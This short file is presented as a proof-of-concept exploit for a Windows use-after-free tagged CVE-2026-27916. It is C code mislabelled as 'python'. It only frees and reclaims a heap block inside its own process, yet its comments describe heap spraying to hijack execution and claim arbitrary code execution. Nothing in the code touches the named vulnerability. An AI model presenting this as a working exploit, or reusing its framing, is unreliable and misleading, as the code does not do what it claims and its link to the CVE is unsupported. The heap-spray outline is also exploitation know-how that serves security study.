The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdio.h>
// Proof of Concept for CVE-2026-27916 (Use After Free)
// Note: This is a conceptual demonstration based on the vulnerability description.
// Actual exploitation requires specific memory layout and triggering conditions.
void trigger_exploit() {
HANDLE hHeap = GetProcessHeap();
LPVOID pMemory = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x100);
if (pMemory == NULL) {
printf("[-] Memory allocation failed.\n");
return;
}
printf("[*] Memory allocated at: %p\n", pMemory);
// Step 1: The vulnerable service frees the object
HeapFree(hHeap, 0, pMemory);
printf("[*] Object freed (Use-After-Free condition initiated).\n");
// Step 2: Attacker sprays the heap to reclaim the freed memory
// In a real scenario, this would involve controlled data to hijack execution flow
LPVOID pSpray = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x100);
if (pSpray == pMemory) {
printf("[*] Successfully reclaimed memory at: %p\n", pSpray);
memset(pSpray, 0x41, 0x100); // Filling with controlled data
}
// Step 3: The vulnerable service attempts to use the freed pointer
// This leads to arbitrary code execution or crash
printf("[*] Triggering the use of freed pointer...\n");
memcpy(pMemory, "AAAA", 4); // Simulating the dereference
}
int main() {
printf("CVE-2026-27916 PoC Concept\n");
trigger_exploit();
return 0;
}